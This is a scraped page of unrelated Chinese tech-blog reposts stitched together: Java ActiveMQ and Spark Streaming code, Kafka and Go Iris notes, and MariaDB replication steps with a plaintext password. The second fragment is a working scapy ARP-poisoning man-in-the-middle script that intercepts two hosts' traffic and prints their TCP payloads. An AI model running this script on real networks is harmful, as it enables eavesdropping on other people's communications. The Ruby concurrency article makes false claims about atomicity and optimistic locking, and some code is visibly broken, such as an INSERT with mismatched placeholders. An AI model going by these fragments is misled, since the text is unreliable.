message1.getMessageId());jo.put("respCode", "OK");String url = "http://jack.bank_a.com:8080/alipay/order/callback?param="+ jo.toJSONString();restTemplate.getForObject(url,null);} catch (JMSException e) {e.printStackTrace();throw new RuntimeException("异常");} }}public RestTemplate createRestTemplate() {SimpleClientHttpRequestFactory simpleClientHttpRequestFactory = new SimpleClientHttpRequestFactory();simpleClientHttpRequestFactory.setConnectTimeout(3000);simpleClientHttpRequestFactory.setReadTimeout(2000);return new RestTemplate(simpleClientHttpRequestFactory);} } package com.zhuguang.jack.service;public interface OrderService {public void updateAmount(int amount, String userId);public int queryMessageCountByUserId(String userId);public int insertMessage(String userId,String messageId,int amount,String status);} package com.zhuguang.jack.service;import org.slf4j.Logger;import org.slf4j.LoggerFactory;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.http.client.SimpleClientHttpRequestFactory;import org.springframework.jdbc.core.JdbcTemplate;import org.springframework.stereotype.Service;import org.springframework.transaction.annotation.Transactional;import org.springframework.web.client.RestTemplate;@Service@Transactional(rollbackFor = Exception.class)public class OrderServiceImpl implements OrderService {private Logger logger = LoggerFactory.getLogger(getClass());@AutowiredJdbcTemplate jdbcTemplate;/ 更新数据库表,把账户余额减去amountd/@Overridepublic void updateAmount(int amount, String userId) {//1、农业银行转账3000,也就说农业银行jack账户要减3000String sql = "update account set amount = amount + ?,update_time=now() where user_id = ?";int count = jdbcTemplate.update(sql, new Object[] {amount, userId});if (count != 1) {throw new RuntimeException("订单创建失败,农业银行转账失败!");} }public RestTemplate createRestTemplate() {SimpleClientHttpRequestFactory simpleClientHttpRequestFactory = new SimpleClientHttpRequestFactory();simpleClientHttpRequestFactory.setConnectTimeout(3000);simpleClientHttpRequestFactory.setReadTimeout(2000);return new RestTemplate(simpleClientHttpRequestFactory);}@Overridepublic int queryMessageCountByUserId(String messageId) {String sql = "select count() from message where message_id = ?";int count = jdbcTemplate.queryForInt(sql, new Object[]{messageId});return count;}@Overridepublic int insertMessage(String userId, String message_id,int amount, String status) {String sql = "insert into message(user_id,message_id,amount,status) values(?,?,?)";int count = jdbcTemplate.update(sql, new Object[]{userId, message_id,amount, status});if(count == 1) {logger.info("Ok");}return count;} } activemq.xml <?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:amq="http://activemq.apache.org/schema/core"xmlns:jms="http://www.springframework.org/schema/jms"xmlns:context="http://www.springframework.org/schema/context"xmlns:mvc="http://www.springframework.org/schema/mvc"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans-4.1.xsdhttp://www.springframework.org/schema/contexthttp://www.springframework.org/schema/context/spring-context-4.1.xsdhttp://www.springframework.org/schema/mvchttp://www.springframework.org/schema/mvc/spring-mvc-4.1.xsdhttp://www.springframework.org/schema/jmshttp://www.springframework.org/schema/jms/spring-jms-4.1.xsdhttp://activemq.apache.org/schema/corehttp://activemq.apache.org/schema/core/activemq-core-5.12.1.xsd"><context:component-scan base-package="com.zhuguang.jack" /><mvc:annotation-driven /><amq:connectionFactory id="amqConnectionFactory"brokerURL="tcp://192.168.88.131:61616"userName="system"password="manager" /><!-- 配置JMS连接工长 --><bean id="connectionFactory"class="org.springframework.jms.connection.CachingConnectionFactory"><constructor-arg ref="amqConnectionFactory" /><property name="sessionCacheSize" value="100" /></bean><!-- 定义消息队列(Queue) --><bean id="demoQueueDestination" class="org.apache.activemq.command.ActiveMQQueue"><!-- 设置消息队列的名字 --><constructor-arg><value>zg.jack.queue</value></constructor-arg></bean><!-- 显示注入消息监听容器(Queue),配置连接工厂,监听的目标是demoQueueDestination,监听器是上面定义的监听器 --><bean id="queueListenerContainer"class="org.springframework.jms.listener.DefaultMessageListenerContainer"><property name="connectionFactory" ref="connectionFactory" /><property name="destination" ref="demoQueueDestination" /><property name="messageListener" ref="queueMessageListener" /></bean><!-- 配置JMS模板(Queue),Spring提供的JMS工具类,它发送、接收消息。 --><bean id="jmsTemplate" class="org.springframework.jms.core.JmsTemplate"><property name="connectionFactory" ref="connectionFactory" /><property name="defaultDestination" ref="demoQueueDestination" /><property name="receiveTimeout" value="10000" /><!-- true是topic,false是queue,默认是false,此处显示写出false --><property name="pubSubDomain" value="false" /></bean></beans> OK~~~~~~~~~~~~大功告成!!!, 如果大家觉得满意并且对技术感兴趣请加群:171239762, 纯技术交流群,非诚勿扰。 本篇文章为转载内容。原文链接:https://blog.csdn.net/luoyang_java/article/details/84953241。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-16 22:34:52
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...t import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
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Ruby
...简单来说,就是在多个线程同时访问并尝试修改同一份数据时可能会出现的问题。这个问题在单机情况下,你可能察觉不到啥大问题,不过一旦把它搬到分布式系统或者那种人山人海、同时操作的高并发环境里,那就可能惹出一堆麻烦来。比如说,数据一致性可能会乱套,性能瓶颈也可能冒出来,这些都是我们需要关注和解决的问题。 本文将通过一些具体的例子来探讨如何在Ruby中解决并发写入数据库的问题,并且介绍一些相关的技术和工具。 二、问题复现 首先,我们来看一个简单的例子: ruby require 'thread' class TestDatabase def initialize @counter = 0 end def increment @counter += 1 end end db = TestDatabase.new threads = [] 5.times do |i| threads << Thread.new do db.increment end end threads.each(&:join) puts db.counter 输出: 5 这段代码看起来很简单,但是它实际上隐藏了一个问题。在多线程环境下,当increment方法被调用时,它的内部操作是原子性的。换句话说,甭管有多少线程同时跑这个方法,数据一致性的问题压根就不会冒出来。 然而,如果我们想要改变这个行为,让多线程可以同时修改@counter的值,我们可以这样修改increment方法: ruby def increment synchronize do @counter += 1 end end 在这个版本的increment方法中,我们使用了Ruby中的synchronize方法来保护对@counter的修改。这就意味着,每次只能有一个线程“独享”执行这个方法里面的小秘密,这样一来,数据一致性的问题就妥妥地被我们甩掉了。 这就是并发写入数据库的一个典型问题。在同时做很多件事的场景下,为了让数据不乱套,保持准确无误,我们得采取一些特别的办法来保驾护航。 三、解决方案 那么,我们该如何解决这个问题呢? 一种常见的解决方案是使用锁。锁是一种同步机制,它可以防止多个线程同时修改同一个资源。在Ruby中,我们可以使用synchronize方法来创建一个锁,然后在需要保护的代码块前面加上synchronize方法,如下所示: ruby def increment synchronize do @counter += 1 end end 另外,我们还可以使用更高级的锁,比如RabbitMQ的交换机锁、Redis的自旋锁等。 另一种解决方案是使用乐观锁。乐观锁,这个概念嘛,其实是一种应对多线程操作的“小妙招”。它的核心理念就是,当你想要读取某个数据的时候,要先留个心眼儿,确认一下这个数据是不是已经被其他线程的小手手给偷偷改过啦。假如数据没被人动过手脚,那咱们就痛痛快快地执行更新操作;可万一数据有变动,那咱就得“倒车”一下,先把事务回滚,再重新把数据抓取过来。 在Ruby中,我们可以使用ActiveRecord的lock_for_update方法来实现乐观锁,如下所示: ruby User.where(id: user_id).lock_for_update.first.update_columns(name: 'New Name') 四、结论 总的来说,并发写入数据库是一个非常复杂的问题,它涉及到线程安全、数据一致性和性能等多个方面。在Ruby中,我们可以使用各种方法来解决这个问题,包括使用锁、使用乐观锁等。 但是,无论我们选择哪种方法,都需要充分理解并发编程的基本原理和技术,这样才能正确地解决问题。希望这篇文章能对你有所帮助,如果你有任何疑问,欢迎随时联系我。
2023-06-25 17:55:39
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林中小径-t
Kafka
...) { try { Thread.sleep(HEARTBEAT_INTERVAL); if (!isAlive()) { System.out.println("Heartbeat failure detected."); // 可以在这里添加逻辑来处理成员故障,例如重新加入组或者通知其他成员。 } } catch (InterruptedException e) { Thread.currentThread().interrupt(); } } } private boolean isAlive() { // 实现心跳检测逻辑,例如发送心跳请求并等待响应。 return true; // 假设总是返回true,需要根据实际情况调整。 } } 2. 自动重平衡策略 合理配置Kafka的自动重平衡策略,确保在成员故障或加入时能够快速、平滑地进行组内成员的重新分配。利用Kafka的API或自定义逻辑来监控成员状态,并在需要时触发重平衡操作。例如: java KafkaConsumer consumer = new KafkaConsumer<>(config); consumer.subscribe(Arrays.asList(topic)); while (true) { ConsumerRecords records = consumer.poll(Duration.ofMillis(100)); for (ConsumerRecord record : records) { // 处理消息... } // 检查组成员状态并触发重平衡 if (needRebalance()) { consumer.leaveGroup(); consumer.close(); consumer = new KafkaConsumer<>(config); consumer.subscribe(Arrays.asList(topic)); } } private boolean needRebalance() { // 根据实际情况判断是否需要重平衡,例如检查成员状态等。 return false; } 3. 资源均衡与优化 设计合理的资源分配策略,确保所有成员在消费负载上达到均衡。可以考虑动态调整成员的消费速度、优化网络路由策略等手段,以避免资源的过度集中或浪费。 四、总结 解决Consumer Group成员失散的问题,需要从基础的通信机制、配置管理、到高级的资源调度策略等多个层面综合考虑。哎呀,咱们得好好琢磨琢磨这事儿!要是咱们能按这些策略来操作,不仅能稳稳地扛住成员出了状况的难题,还能让整个系统变得更加强韧,处理问题的能力也大大提升呢!就像是给咱们的团队加了层保护罩,还能让咱们干活儿更顺畅,效率蹭蹭往上涨!哎呀,兄弟,你得明白,在真刀真枪地用上这套系统的时候,咱们可不能死板地照着书本念。得根据你的业务需求,就像给娃挑衣服一样,挑最合适的那一件。还得看咱们的系统架构,就像是厨房里的调料,少了哪一味都不行。得灵活调整,就像变魔术一样,让性能和稳定性这俩宝贝儿,一个不落地都达到最好状态。这样,咱们的系统才能像大厨做菜一样,色香味俱全,让人爱不释口!
2024-08-11 16:07:45
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醉卧沙场
Go Iris
...ine是一种轻量级的线程实现,它由Go运行时管理并调度执行。goroutine相较于操作系统的原生线程更轻量、高效,可以在同一地址空间内并发运行多个任务,通过Go语言的GMP(Goroutine-Thread M: P)调度模型进行上下文切换,以充分利用多核处理器资源。在文章的上下文中,goroutine用于表示并行处理HTTP请求的独立执行单元,它们可能需要共享和修改同一块数据,因此需要采取同步机制来避免竞态条件。 互斥锁(sync.Mutex) , 互斥锁是Go语言标准库sync包中的一种同步原语,用于保护临界区代码,确保在同一时刻只有一个goroutine能够访问或修改特定的共享资源,从而防止竞态条件的发生。在文章示例中,sync.Mutex被用来控制对sharedData变量的并发访问,当一个goroutine获得锁后,其他goroutine必须等待该锁释放才能继续执行相应的数据修改操作。 Context(iris.Context) , 在Go Iris框架中,iris.Context是一个核心接口类型,代表了HTTP请求的上下文环境。它封装了与单个HTTP请求相关的所有信息,如请求方法、URL路径、查询参数、请求体、响应头、Cookies等,并提供了一种安全且高效的方式在处理请求的不同阶段传递中间件和处理器之间所需的数据。在本文的场景下,iris.Context的Values方法被用来在同一个HTTP请求生命周期内安全地共享和累加计数器数据,这种方式能有效避免不同请求之间的数据干扰问题。
2023-11-28 22:49:41
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笑傲江湖
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...-parallel-threads=3 同时启动多少个复制线程,最多与要复制的数据库数量相等即可binlog-checksum=CRC32 效验码master-verify-checksum=1 启动主服务器效验slave-sql-verify-checksum=1 启动从服务器效验[galera][embedded][mariadb][mariadb-10.6][root@mster-k8s mysql] 11.2 修改从库配置 [mysqld]character-set-server=utf8collation-server=utf8_general_ciserver_id=14log-bin= mysql-bin log-bin是二进制文件relay_log = relay-bin 中继日志, 后面指定存放位置。如果只是指定名字,默认存放在/var/lib/mysql下lower_case_table_names=1 11.3 重启主库和从库服务 systemctl restart mariad 11.4 master节点配置 MariaDB [huawei]> grant replication slave, replication client on . to 'liu'@'%' identified by '123456';Query OK, 0 rows affected (0.001 sec)MariaDB [huawei]> show master status;+------------------+----------+--------------+------------------+| File | Position | Binlog_Do_DB | Binlog_Ignore_DB |+------------------+----------+--------------+------------------+| mysql-bin.000001 | 4990 | | |+------------------+----------+--------------+------------------+1 row in set (0.000 sec)MariaDB [huawei]> select binlog_gtid_pos('mysql-bin.000001', 4990 );+-------------------------------------------+| binlog_gtid_pos('mysql-bin.000001', 4990) |+-------------------------------------------+| 0-13-80 |+-------------------------------------------+1 row in set (0.000 sec)MariaDB [huawei]> flush privileges; 11.5 slave节点配置 MariaDB [(none)]> set global gtid_slave_pos='0-13-80';Query OK, 0 rows affected (0.004 sec)MariaDB [(none)]> change master to master_host='101.34.141.216',master_user='liu',master_password='123456',master_use_gtid=slave_pos;Query OK, 0 rows affected (0.008 sec)MariaDB [(none)]> start slave;Query OK, 0 rows affected (0.005 sec)MariaDB [(none)]> 11.6 验证salve状态 MariaDB [(none)]> show slave status\G 1. row Slave_IO_State: Waiting for master to send eventMaster_Host: 101.34.141.216Master_User: liuMaster_Port: 3306Connect_Retry: 60Master_Log_File: mysql-bin.000001Read_Master_Log_Pos: 13260Relay_Log_File: relay-bin.000002Relay_Log_Pos: 10246Relay_Master_Log_File: mysql-bin.000001Slave_IO_Running: YesSlave_SQL_Running: YesReplicate_Do_DB: Replicate_Ignore_DB: Replicate_Do_Table: Replicate_Ignore_Table: Replicate_Wild_Do_Table: Replicate_Wild_Ignore_Table: Last_Errno: 0Last_Error: Skip_Counter: 0Exec_Master_Log_Pos: 13260Relay_Log_Space: 10549Until_Condition: NoneUntil_Log_File: Until_Log_Pos: 0Master_SSL_Allowed: NoMaster_SSL_CA_File: 本篇文章为转载内容。原文链接:https://blog.csdn.net/l363130002/article/details/126121255。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-12 10:11:01
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...nfig);new Thread(new Runnable() {public void run() {while(true) {//在线处理广告点击流的基本数据格式:timestamp、ip、userID、adID、province、cityLong timestamp = new Date().getTime();String ip = ips[random.nextInt(12)]; //可以采用网络上免费提供的ip库int userID = random.nextInt(10000);int adID = random.nextInt(100);String province = provinces[random.nextInt(4)];String city = cities.get(province)[random.nextInt(3)];String clickedAd = timestamp + "\t" + ip + "\t" + userID + "\t" + adID + "\t" + province + "\t" + city;producer.send(new KeyedMessage<Integer, String>("AdClicked", clickedAd));try {Thread.sleep(50);} catch (InterruptedException e) {// TODO Auto-generated catch blocke.printStackTrace();} }} }).start();} } package com.tom.spark.SparkApps.sparkstreaming;import java.sql.Connection;import java.sql.DriverManager;import java.sql.PreparedStatement;import java.sql.ResultSet;import java.sql.SQLException;import java.util.ArrayList;import java.util.Arrays;import java.util.HashMap;import java.util.HashSet;import java.util.Iterator;import java.util.List;import java.util.Map;import java.util.Set;import java.util.concurrent.LinkedBlockingQueue;import kafka.serializer.StringDecoder;import org.apache.spark.SparkConf;import org.apache.spark.api.java.JavaPairRDD;import org.apache.spark.api.java.JavaRDD;import org.apache.spark.api.java.JavaSparkContext;import org.apache.spark.api.java.function.Function;import org.apache.spark.api.java.function.Function2;import org.apache.spark.api.java.function.PairFunction;import org.apache.spark.api.java.function.VoidFunction;import org.apache.spark.sql.DataFrame;import org.apache.spark.sql.Row;import org.apache.spark.sql.RowFactory;import org.apache.spark.sql.hive.HiveContext;import org.apache.spark.sql.types.DataTypes;import org.apache.spark.sql.types.StructType;import org.apache.spark.streaming.Durations;import org.apache.spark.streaming.api.java.JavaDStream;import org.apache.spark.streaming.api.java.JavaPairDStream;import org.apache.spark.streaming.api.java.JavaPairInputDStream;import org.apache.spark.streaming.api.java.JavaStreamingContext;import org.apache.spark.streaming.api.java.JavaStreamingContextFactory;import org.apache.spark.streaming.kafka.KafkaUtils;import com.google.common.base.Optional;import scala.Tuple2;/ 数据处理,Kafka消费者/public class AdClickedStreamingStats {/ @param args/public static void main(String[] args) {// TODO Auto-generated method stub//好处:1、checkpoint 2、工厂final SparkConf conf = new SparkConf().setAppName("SparkStreamingOnKafkaDirect").setMaster("hdfs://Master:7077/");final String checkpointDirectory = "hdfs://Master:9000/library/SparkStreaming/CheckPoint_Data";JavaStreamingContextFactory factory = new JavaStreamingContextFactory() {public JavaStreamingContext create() {// TODO Auto-generated method stubreturn createContext(checkpointDirectory, conf);} };/ 可以从失败中恢复Driver,不过还需要指定Driver这个进程运行在Cluster,并且在提交应用程序的时候制定--supervise;/JavaStreamingContext javassc = JavaStreamingContext.getOrCreate(checkpointDirectory, factory);/ 第三步:创建Spark Streaming输入数据来源input Stream: 1、数据输入来源可以基于File、HDFS、Flume、Kafka、Socket等 2、在这里我们指定数据来源于网络Socket端口,Spark Streaming连接上该端口并在运行的时候一直监听该端口的数据 (当然该端口服务首先必须存在),并且在后续会根据业务需要不断有数据产生(当然对于Spark Streaming 应用程序的运行而言,有无数据其处理流程都是一样的) 3、如果经常在每间隔5秒钟没有数据的话不断启动空的Job其实会造成调度资源的浪费,因为并没有数据需要发生计算;所以 实际的企业级生成环境的代码在具体提交Job前会判断是否有数据,如果没有的话就不再提交Job;///创建Kafka元数据来让Spark Streaming这个Kafka Consumer利用Map<String, String> kafkaParameters = new HashMap<String, String>();kafkaParameters.put("metadata.broker.list", "Master:9092,Worker1:9092,Worker2:9092");Set<String> topics = new HashSet<String>();topics.add("SparkStreamingDirected");JavaPairInputDStream<String, String> adClickedStreaming = KafkaUtils.createDirectStream(javassc, String.class, String.class, StringDecoder.class, StringDecoder.class,kafkaParameters, topics);/因为要对黑名单进行过滤,而数据是在RDD中的,所以必然使用transform这个函数; 但是在这里我们必须使用transformToPair,原因是读取进来的Kafka的数据是Pair<String,String>类型, 另一个原因是过滤后的数据要进行进一步处理,所以必须是读进的Kafka数据的原始类型 在此再次说明,每个Batch Duration中实际上讲输入的数据就是被一个且仅被一个RDD封装的,你可以有多个 InputDStream,但其实在产生job的时候,这些不同的InputDStream在Batch Duration中就相当于Spark基于HDFS 数据操作的不同文件来源而已罢了。/JavaPairDStream<String, String> filteredadClickedStreaming = adClickedStreaming.transformToPair(new Function<JavaPairRDD<String,String>, JavaPairRDD<String,String>>() {public JavaPairRDD<String, String> call(JavaPairRDD<String, String> rdd) throws Exception {/ 在线黑名单过滤思路步骤: 1、从数据库中获取黑名单转换成RDD,即新的RDD实例封装黑名单数据; 2、然后把代表黑名单的RDD的实例和Batch Duration产生的RDD进行Join操作, 准确的说是进行leftOuterJoin操作,也就是说使用Batch Duration产生的RDD和代表黑名单的RDD实例进行 leftOuterJoin操作,如果两者都有内容的话,就会是true,否则的话就是false 我们要留下的是leftOuterJoin结果为false; /final List<String> blackListNames = new ArrayList<String>();JDBCWrapper jdbcWrapper = JDBCWrapper.getJDBCInstance();jdbcWrapper.doQuery("SELECT FROM blacklisttable", null, new ExecuteCallBack() {public void resultCallBack(ResultSet result) throws Exception {while(result.next()){blackListNames.add(result.getString(1));} }});List<Tuple2<String, Boolean>> blackListTuple = new ArrayList<Tuple2<String,Boolean>>();for(String name : blackListNames) {blackListTuple.add(new Tuple2<String, Boolean>(name, true));}List<Tuple2<String, Boolean>> blacklistFromListDB = blackListTuple; //数据来自于查询的黑名单表并且映射成为<String, Boolean>JavaSparkContext jsc = new JavaSparkContext(rdd.context());/ 黑名单的表中只有userID,但是如果要进行join操作的话就必须是Key-Value,所以在这里我们需要 基于数据表中的数据产生Key-Value类型的数据集合/JavaPairRDD<String, Boolean> blackListRDD = jsc.parallelizePairs(blacklistFromListDB);/ 进行操作的时候肯定是基于userID进行join,所以必须把传入的rdd进行mapToPair操作转化成为符合格式的RDD/JavaPairRDD<String, Tuple2<String, String>> rdd2Pair = rdd.mapToPair(new PairFunction<Tuple2<String,String>, String, Tuple2<String, String>>() {public Tuple2<String, Tuple2<String, String>> call(Tuple2<String, String> t) throws Exception {// TODO Auto-generated method stubString userID = t._2.split("\t")[2];return new Tuple2<String, Tuple2<String,String>>(userID, t);} });JavaPairRDD<String, Tuple2<Tuple2<String, String>, Optional<Boolean>>> joined = rdd2Pair.leftOuterJoin(blackListRDD);JavaPairRDD<String, String> result = joined.filter(new Function<Tuple2<String,Tuple2<Tuple2<String,String>,Optional<Boolean>>>, Boolean>() {public Boolean call(Tuple2<String, Tuple2<Tuple2<String, String>, Optional<Boolean>>> tuple)throws Exception {// TODO Auto-generated method stubOptional<Boolean> optional = tuple._2._2;if(optional.isPresent() && optional.get()){return false;} else {return true;} }}).mapToPair(new PairFunction<Tuple2<String,Tuple2<Tuple2<String,String>,Optional<Boolean>>>, String, String>() {public Tuple2<String, String> call(Tuple2<String, Tuple2<Tuple2<String, String>, Optional<Boolean>>> t)throws Exception {// TODO Auto-generated method stubreturn t._2._1;} });return result;} });//广告点击的基本数据格式:timestamp、ip、userID、adID、province、cityJavaPairDStream<String, Long> pairs = filteredadClickedStreaming.mapToPair(new PairFunction<Tuple2<String,String>, String, Long>() {public Tuple2<String, Long> call(Tuple2<String, String> t) throws Exception {String[] splited=t._2.split("\t");String timestamp = splited[0]; //YYYY-MM-DDString ip = splited[1];String userID = splited[2];String adID = splited[3];String province = splited[4];String city = splited[5]; String clickedRecord = timestamp + "_" +ip + "_"+userID+"_"+adID+"_"+province +"_"+city;return new Tuple2<String, Long>(clickedRecord, 1L);} });/ 第4.3步:在单词实例计数为1基础上,统计每个单词在文件中出现的总次数/JavaPairDStream<String, Long> adClickedUsers= pairs.reduceByKey(new Function2<Long, Long, Long>() {public Long call(Long i1, Long i2) throws Exception{return i1 + i2;} });/判断有效的点击,复杂化的采用机器学习训练模型进行在线过滤 简单的根据ip判断1天不超过100次;也可以通过一个batch duration的点击次数判断是否非法广告点击,通过一个batch来判断是不完整的,还需要一天的数据也可以每一个小时来判断。/JavaPairDStream<String, Long> filterClickedBatch = adClickedUsers.filter(new Function<Tuple2<String,Long>, Boolean>() {public Boolean call(Tuple2<String, Long> v1) throws Exception {if (1 < v1._2){//更新一些黑名单的数据库表return false;} else { return true;} }});//filterClickedBatch.print();//写入数据库filterClickedBatch.foreachRDD(new Function<JavaPairRDD<String,Long>, Void>() {public Void call(JavaPairRDD<String, Long> rdd) throws Exception {rdd.foreachPartition(new VoidFunction<Iterator<Tuple2<String,Long>>>() {public void call(Iterator<Tuple2<String, Long>> partition) throws Exception {//使用数据库连接池的高效读写数据库的方式将数据写入数据库mysql//例如一次插入 1000条 records,使用insertBatch 或 updateBatch//插入的用户数据信息:userID,adID,clickedCount,time//这里面有一个问题,可能出现两条记录的key是一样的,此时需要更新累加操作List<UserAdClicked> userAdClickedList = new ArrayList<UserAdClicked>();while(partition.hasNext()) {Tuple2<String, Long> record = partition.next();String[] splited = record._1.split("\t");UserAdClicked userClicked = new UserAdClicked();userClicked.setTimestamp(splited[0]);userClicked.setIp(splited[1]);userClicked.setUserID(splited[2]);userClicked.setAdID(splited[3]);userClicked.setProvince(splited[4]);userClicked.setCity(splited[5]);userAdClickedList.add(userClicked);}final List<UserAdClicked> inserting = new ArrayList<UserAdClicked>();final List<UserAdClicked> updating = new ArrayList<UserAdClicked>();JDBCWrapper jdbcWrapper = JDBCWrapper.getJDBCInstance();//表的字段timestamp、ip、userID、adID、province、city、clickedCountfor(final UserAdClicked clicked : userAdClickedList) {jdbcWrapper.doQuery("SELECT clickedCount FROM adclicked WHERE"+ " timestamp =? AND userID = ? AND adID = ?",new Object[]{clicked.getTimestamp(), clicked.getUserID(),clicked.getAdID()}, new ExecuteCallBack() {public void resultCallBack(ResultSet result) throws Exception {// TODO Auto-generated method stubif(result.next()) {long count = result.getLong(1);clicked.setClickedCount(count);updating.add(clicked);} else {inserting.add(clicked);clicked.setClickedCount(1L);} }});}//表的字段timestamp、ip、userID、adID、province、city、clickedCountList<Object[]> insertParametersList = new ArrayList<Object[]>();for(UserAdClicked insertRecord : inserting) {insertParametersList.add(new Object[] {insertRecord.getTimestamp(),insertRecord.getIp(),insertRecord.getUserID(),insertRecord.getAdID(),insertRecord.getProvince(),insertRecord.getCity(),insertRecord.getClickedCount()});}jdbcWrapper.doBatch("INSERT INTO adclicked VALUES(?, ?, ?, ?, ?, ?, ?)", insertParametersList);//表的字段timestamp、ip、userID、adID、province、city、clickedCountList<Object[]> updateParametersList = new ArrayList<Object[]>();for(UserAdClicked updateRecord : updating) {updateParametersList.add(new Object[] {updateRecord.getTimestamp(),updateRecord.getIp(),updateRecord.getUserID(),updateRecord.getAdID(),updateRecord.getProvince(),updateRecord.getCity(),updateRecord.getClickedCount() + 1});}jdbcWrapper.doBatch("UPDATE adclicked SET clickedCount = ? WHERE"+ " timestamp =? AND ip = ? AND userID = ? AND adID = ? "+ "AND province = ? AND city = ?", updateParametersList);} });return null;} });//再次过滤,从数据库中读取数据过滤黑名单JavaPairDStream<String, Long> blackListBasedOnHistory = filterClickedBatch.filter(new Function<Tuple2<String,Long>, Boolean>() {public Boolean call(Tuple2<String, Long> v1) throws Exception {//广告点击的基本数据格式:timestamp,ip,userID,adID,province,cityString[] splited = v1._1.split("\t"); //提取key值String date =splited[0];String userID =splited[2];String adID =splited[3];//查询一下数据库同一个用户同一个广告id点击量超过50次列入黑名单//接下来 根据date、userID、adID条件去查询用户点击广告的数据表,获得总的点击次数//这个时候基于点击次数判断是否属于黑名单点击int clickedCountTotalToday = 81 ;if (clickedCountTotalToday > 50) {return true;}else {return false ;} }});//map操作,找出用户的idJavaDStream<String> blackListuserIDBasedInBatchOnhistroy =blackListBasedOnHistory.map(new Function<Tuple2<String,Long>, String>() {public String call(Tuple2<String, Long> v1) throws Exception {// TODO Auto-generated method stubreturn v1._1.split("\t")[2];} });//有一个问题,数据可能重复,在一个partition里面重复,这个好办;//但多个partition不能保证一个用户重复,需要对黑名单的整个rdd进行去重操作。//rdd去重了,partition也就去重了,一石二鸟,一箭双雕// 找出了黑名单,下一步就写入黑名单数据库表中JavaDStream<String> blackListUniqueuserBasedInBatchOnhistroy = blackListuserIDBasedInBatchOnhistroy.transform(new Function<JavaRDD<String>, JavaRDD<String>>() {public JavaRDD<String> call(JavaRDD<String> rdd) throws Exception {// TODO Auto-generated method stubreturn rdd.distinct();} });// 下一步写入到数据表中blackListUniqueuserBasedInBatchOnhistroy.foreachRDD(new Function<JavaRDD<String>, Void>() {public Void call(JavaRDD<String> rdd) throws Exception {rdd.foreachPartition(new VoidFunction<Iterator<String>>() {public void call(Iterator<String> t) throws Exception {// TODO Auto-generated method stub//插入的用户信息可以只包含:useID//此时直接插入黑名单数据表即可。//写入数据库List<Object[]> blackList = new ArrayList<Object[]>();while(t.hasNext()) {blackList.add(new Object[]{t.next()});}JDBCWrapper jdbcWrapper = JDBCWrapper.getJDBCInstance();jdbcWrapper.doBatch("INSERT INTO blacklisttable values (?)", blackList);} });return null;} });/广告点击累计动态更新,每个updateStateByKey都会在Batch Duration的时间间隔的基础上进行广告点击次数的更新, 更新之后我们一般都会持久化到外部存储设备上,在这里我们存储到MySQL数据库中/JavaPairDStream<String, Long> updateStateByKeyDSteam = filteredadClickedStreaming.mapToPair(new PairFunction<Tuple2<String,String>, String, Long>() {public Tuple2<String, Long> call(Tuple2<String, String> t)throws Exception {String[] splited=t._2.split("\t");String timestamp = splited[0]; //YYYY-MM-DDString ip = splited[1];String userID = splited[2];String adID = splited[3];String province = splited[4];String city = splited[5]; String clickedRecord = timestamp + "_" +ip + "_"+userID+"_"+adID+"_"+province +"_"+city;return new Tuple2<String, 